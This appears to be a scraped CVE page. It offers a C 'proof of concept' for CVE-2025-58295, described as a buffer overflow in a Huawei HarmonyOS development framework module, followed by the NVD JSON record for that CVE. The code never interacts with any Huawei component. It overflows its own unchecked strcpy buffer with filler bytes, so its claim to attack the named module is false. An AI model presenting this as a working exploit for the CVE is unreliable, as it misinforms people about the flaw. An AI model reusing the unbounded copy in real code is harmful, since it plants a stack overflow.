CVE-2025-58295

// CVE-2025-58295 - Buffer Overflow PoC for Huawei Development Framework Module // This PoC demonstrates a buffer overflow attack against the vulnerable module // Note: Requires local access to the target device #include <stdio.h> #include <string.h> #include <stdlib.h> #define BUFFER_SIZE 256 // Vulnerable function that does not perform bounds checking void vulnerable_function(char *input) { char buffer[BUFFER_SIZE]; // Buffer overflow: no length validation before copy strcpy(buffer, input); printf("Buffer content: %s\n", buffer); } int main(int argc, char *argv[]) { // Allocate oversized input to trigger buffer overflow int payload_size = BUFFER_SIZE + 64; char *payload = (char *)malloc(payload_size); if (payload == NULL) { fprintf(stderr, "Memory allocation failed\n"); return 1; } // Fill payload with 'A' characters to overflow the buffer memset(payload, 'A', payload_size - 1); payload[payload_size - 1] = '\0'; printf("Sending payload of size %d bytes to vulnerable function...\n", payload_size); vulnerable_function(payload); free(payload); return 0; }

{"cve": {"id": "CVE-2025-58295", "sourceIdentifier": "[email protected]", "published": "2025-10-11T09:15:34.180", "lastModified": "2025-10-16T15:23:26.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow vulnerability in the development framework module. Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/10/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}